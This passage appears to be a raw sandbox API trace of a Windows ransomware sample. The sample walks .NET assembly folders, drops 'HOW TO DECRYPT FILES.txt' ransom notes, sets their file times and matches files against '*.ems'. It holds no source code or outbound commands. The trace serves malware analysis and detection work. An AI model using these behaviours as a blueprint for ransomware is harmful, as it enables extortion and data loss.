(lpString1="..", lpString2="..") returned 0 [0100.856] lstrcmpA (lpString1=".", lpString2="14.0.0.0__71e9bce111e9429c") returned -1 [0100.856] lstrcmpA (lpString1="..", lpString2="14.0.0.0__71e9bce111e9429c") returned -1 [0100.856] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.SmartTag\\*.*") returned="*.*" [0100.856] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.SmartTag\\", lpString2="14.0.0.0__71e9bce111e9429c" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.SmartTag\\14.0.0.0__71e9bce111e9429c") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.SmartTag\\14.0.0.0__71e9bce111e9429c" [0100.856] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.SmartTag\\14.0.0.0__71e9bce111e9429c\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59460250, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa651c390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa651c390, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0100.859] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0100.859] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0100.859] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0100.859] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0100.859] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Policy.11.0.Microsoft.Office.Interop.SmartTag.config") returned -1 [0100.859] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Policy.11.0.Microsoft.Office.Interop.SmartTag.config") returned -1 [0100.859] lstrcmpiA (lpString1="", lpString2="Policy.11.0.Microsoft.Office.Interop.SmartTag.config") returned -1 [0100.859] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.SmartTag\\14.0.0.0__71e9bce111e9429c\\*.*") returned="*.*" [0100.859] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.SmartTag\\14.0.0.0__71e9bce111e9429c\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.SmartTag\\14.0.0.0__71e9bce111e9429c\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.SmartTag\\14.0.0.0__71e9bce111e9429c\\" [0100.860] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.SmartTag\\14.0.0.0__71e9bce111e9429c\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.SmartTag\\14.0.0.0__71e9bce111e9429c\\") returned="" [0100.860] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.SmartTag\\14.0.0.0__71e9bce111e9429c\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.SmartTag\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.SmartTag\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" [0100.860] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.SmartTag\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.11.0.microsoft.office.interop.smarttag\\14.0.0.0__71e9bce111e9429c\\how to decrypt files.txt")) returned 0xffffffff [0100.860] CreateFileA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.SmartTag\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.11.0.microsoft.office.interop.smarttag\\14.0.0.0__71e9bce111e9429c\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0100.862] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0100.862] CloseHandle (hObject=0x90) returned 1 [0100.862] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.SmartTag\\14.0.0.0__71e9bce111e9429c\\", lpString2="Policy.11.0.Microsoft.Office.Interop.SmartTag.config" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.SmartTag\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.SmartTag.config") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.SmartTag\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.SmartTag.config" [0100.862] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.SmartTag\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.SmartTag.config", pszSpec="*.ems") returned 0 [0100.863] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0100.863] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Policy.11.0.Microsoft.Office.Interop.SmartTag.dll") returned -1 [0100.863] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Policy.11.0.Microsoft.Office.Interop.SmartTag.dll") returned -1 [0100.863] lstrcmpiA (lpString1="", lpString2="Policy.11.0.Microsoft.Office.Interop.SmartTag.dll") returned -1 [0100.863] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.SmartTag\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.SmartTag.config") returned="Policy.11.0.Microsoft.Office.Interop.SmartTag.config" [0100.863] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.SmartTag\\14.0.0.0__71e9bce111e9429c\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.SmartTag\\14.0.0.0__71e9bce111e9429c\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.SmartTag\\14.0.0.0__71e9bce111e9429c\\" [0100.863] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.SmartTag\\14.0.0.0__71e9bce111e9429c\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.SmartTag\\14.0.0.0__71e9bce111e9429c\\") returned="" [0100.863] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.SmartTag\\14.0.0.0__71e9bce111e9429c\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.SmartTag\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.SmartTag\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" [0100.863] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.SmartTag\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.11.0.microsoft.office.interop.smarttag\\14.0.0.0__71e9bce111e9429c\\how to decrypt files.txt")) returned 0x20 [0100.863] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.SmartTag\\14.0.0.0__71e9bce111e9429c\\", lpString2="Policy.11.0.Microsoft.Office.Interop.SmartTag.dll" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.SmartTag\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.SmartTag.dll") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.SmartTag\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.SmartTag.dll" [0100.863] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.SmartTag\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.SmartTag.dll", pszSpec="*.ems") returned 0 [0100.864] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0100.864] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0100.864] lstrcmpA (lpString1=".", lpString2="Policy.11.0.Microsoft.Office.Interop.Visio") returned -1 [0100.864] lstrcmpA (lpString1="..", lpString2="Policy.11.0.Microsoft.Office.Interop.Visio") returned -1 [0100.864] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\*.*") returned="*.*" [0100.864] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\", lpString2="Policy.11.0.Microsoft.Office.Interop.Visio" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Visio") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Visio" [0100.864] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Visio\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9af0e3c0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x9af0e3c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x9af0e3c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0100.865] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0100.865] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0100.865] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0100.865] lstrcmpA (lpString1=".", lpString2="14.0.0.0__71e9bce111e9429c") returned -1 [0100.865] lstrcmpA (lpString1="..", lpString2="14.0.0.0__71e9bce111e9429c") returned -1 [0100.865] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Visio\\*.*") returned="*.*" [0100.865] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Visio\\", lpString2="14.0.0.0__71e9bce111e9429c" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Visio\\14.0.0.0__71e9bce111e9429c") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Visio\\14.0.0.0__71e9bce111e9429c" [0100.865] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Visio\\14.0.0.0__71e9bce111e9429c\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8514a320, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x9aee8260, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x9aee8260, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x37005f, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0100.869] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0100.869] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0100.869] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0100.869] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0100.870] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Policy.11.0.Microsoft.Office.Interop.Visio.config") returned -1 [0100.870] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Policy.11.0.Microsoft.Office.Interop.Visio.config") returned -1 [0100.870] lstrcmpiA (lpString1="", lpString2="Policy.11.0.Microsoft.Office.Interop.Visio.config") returned -1 [0100.870] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Visio\\14.0.0.0__71e9bce111e9429c\\*.*") returned="*.*" [0100.870] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Visio\\14.0.0.0__71e9bce111e9429c\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Visio\\14.0.0.0__71e9bce111e9429c\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Visio\\14.0.0.0__71e9bce111e9429c\\" [0100.870] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Visio\\14.0.0.0__71e9bce111e9429c\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Visio\\14.0.0.0__71e9bce111e9429c\\") returned="" [0100.870] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Visio\\14.0.0.0__71e9bce111e9429c\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Visio\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Visio\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" [0100.870] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Visio\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.11.0.microsoft.office.interop.visio\\14.0.0.0__71e9bce111e9429c\\how to decrypt files.txt")) returned 0xffffffff [0100.870] CreateFileA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Visio\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.11.0.microsoft.office.interop.visio\\14.0.0.0__71e9bce111e9429c\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0100.872] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0100.872] CloseHandle (hObject=0x90) returned 1 [0100.872] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Visio\\14.0.0.0__71e9bce111e9429c\\", lpString2="Policy.11.0.Microsoft.Office.Interop.Visio.config" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Visio\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Visio.config") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Visio\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Visio.config" [0100.873] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Visio\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Visio.config", pszSpec="*.ems") returned 0 [0100.873] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0100.873] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Policy.11.0.Microsoft.Office.Interop.Visio.dll") returned -1 [0100.873] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Policy.11.0.Microsoft.Office.Interop.Visio.dll") returned -1 [0100.873] lstrcmpiA (lpString1="", lpString2="Policy.11.0.Microsoft.Office.Interop.Visio.dll") returned -1 [0100.873] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Visio\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Visio.config") returned="Policy.11.0.Microsoft.Office.Interop.Visio.config" [0100.873] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Visio\\14.0.0.0__71e9bce111e9429c\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Visio\\14.0.0.0__71e9bce111e9429c\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Visio\\14.0.0.0__71e9bce111e9429c\\" [0100.873] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Visio\\14.0.0.0__71e9bce111e9429c\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Visio\\14.0.0.0__71e9bce111e9429c\\") returned="" [0100.873] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Visio\\14.0.0.0__71e9bce111e9429c\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Visio\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Visio\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" [0100.873] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Visio\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.11.0.microsoft.office.interop.visio\\14.0.0.0__71e9bce111e9429c\\how to decrypt files.txt")) returned 0x20 [0100.874] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Visio\\14.0.0.0__71e9bce111e9429c\\", lpString2="Policy.11.0.Microsoft.Office.Interop.Visio.dll" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Visio\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Visio.dll") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Visio\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Visio.dll" [0100.874] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Visio\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Visio.dll", pszSpec="*.ems") returned 0 [0100.874] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0100.874] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0100.874] lstrcmpA (lpString1=".", lpString2="Policy.11.0.Microsoft.Office.Interop.Visio.SaveAsWeb") returned -1 [0100.874] lstrcmpA (lpString1="..", lpString2="Policy.11.0.Microsoft.Office.Interop.Visio.SaveAsWeb") returned -1 [0100.874] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\*.*") returned="*.*" [0100.874] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\", lpString2="Policy.11.0.Microsoft.Office.Interop.Visio.SaveAsWeb" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Visio.SaveAsWeb") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Visio.SaveAsWeb" [0100.875] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Visio.SaveAsWeb\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9af5a680, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x9af5a680, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x9af5a680, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0100.875] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0100.875] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0100.875] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0100.875] lstrcmpA (lpString1=".", lpString2="14.0.0.0__71e9bce111e9429c") returned -1 [0100.876] lstrcmpA (lpString1="..", lpString2="14.0.0.0__71e9bce111e9429c") returned -1 [0100.876] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Visio.SaveAsWeb\\*.*") returned="*.*" [0100.876] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Visio.SaveAsWeb\\", lpString2="14.0.0.0__71e9bce111e9429c" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Visio.SaveAsWeb\\14.0.0.0__71e9bce111e9429c") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Visio.SaveAsWeb\\14.0.0.0__71e9bce111e9429c" [0100.876] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Visio.SaveAsWeb\\14.0.0.0__71e9bce111e9429c\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x84c3b460, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x9af5a680, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x9af5a680, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0100.879] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0100.879] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0100.879] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0100.879] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0100.879] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Policy.11.0.Microsoft.Office.Interop.Visio.SaveAsWeb.config") returned -1 [0100.879] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Policy.11.0.Microsoft.Office.Interop.Visio.SaveAsWeb.config") returned -1 [0100.879] lstrcmpiA (lpString1="", lpString2="Policy.11.0.Microsoft.Office.Interop.Visio.SaveAsWeb.config") returned -1 [0100.879] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Visio.SaveAsWeb\\14.0.0.0__71e9bce111e9429c\\*.*") returned="*.*" [0100.879] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Visio.SaveAsWeb\\14.0.0.0__71e9bce111e9429c\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Visio.SaveAsWeb\\14.0.0.0__71e9bce111e9429c\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Visio.SaveAsWeb\\14.0.0.0__71e9bce111e9429c\\" [0100.879] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Visio.SaveAsWeb\\14.0.0.0__71e9bce111e9429c\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Visio.SaveAsWeb\\14.0.0.0__71e9bce111e9429c\\") returned="" [0100.879] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Visio.SaveAsWeb\\14.0.0.0__71e9bce111e9429c\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Visio.SaveAsWeb\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Visio.SaveAsWeb\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" [0100.879] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Visio.SaveAsWeb\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.11.0.microsoft.office.interop.visio.saveasweb\\14.0.0.0__71e9bce111e9429c\\how to decrypt files.txt")) returned 0xffffffff [0100.880] CreateFileA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Visio.SaveAsWeb\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.11.0.microsoft.office.interop.visio.saveasweb\\14.0.0.0__71e9bce111e9429c\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0100.882] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0100.882] CloseHandle (hObject=0x90) returned 1 [0100.882] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Visio.SaveAsWeb\\14.0.0.0__71e9bce111e9429c\\", lpString2="Policy.11.0.Microsoft.Office.Interop.Visio.SaveAsWeb.config" | out: 